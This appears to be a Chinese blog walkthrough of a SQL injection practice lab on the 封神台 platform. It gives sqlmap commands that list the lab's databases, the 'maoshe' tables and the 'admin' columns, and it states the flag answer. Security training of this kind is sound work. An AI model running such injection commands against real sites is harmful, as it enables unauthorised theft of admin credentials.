【封神台】SQL注入靶场练习（sqlmap）_sqlmap注入靶场

作者：繁依Fanyi0 | 2024-04-19 19:24:38

踩

sqlmap注入靶场

靶场地址

https://hack.zkaq.cn

题目

在这里插入图片描述

解题过程

1.进入题目
在这里插入图片描述
2.只有个点击查看新闻，点击进入

3.发现参数id，肯定就是我们要注入的参数了，先用sqlmap跑一遍

查询数据库
python sqlmap.py -u “http://rhiq8003.ia.aqlab.cn/?id=1” --dbs
在这里插入图片描述
因为我们需要获得管理员密码，所以要查maoshe数据库
python sqlmap.py -u “http://rhiq8003.ia.aqlab.cn/?id=1” --tables -D maoshe

查admin表
python sqlmap.py -u “http://rhiq8003.ia.aqlab.cn/?id=1” --columns -T admin -D maoshe

查password
在这里插入图片描述
输入flag ：hellohack ，正确

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/453297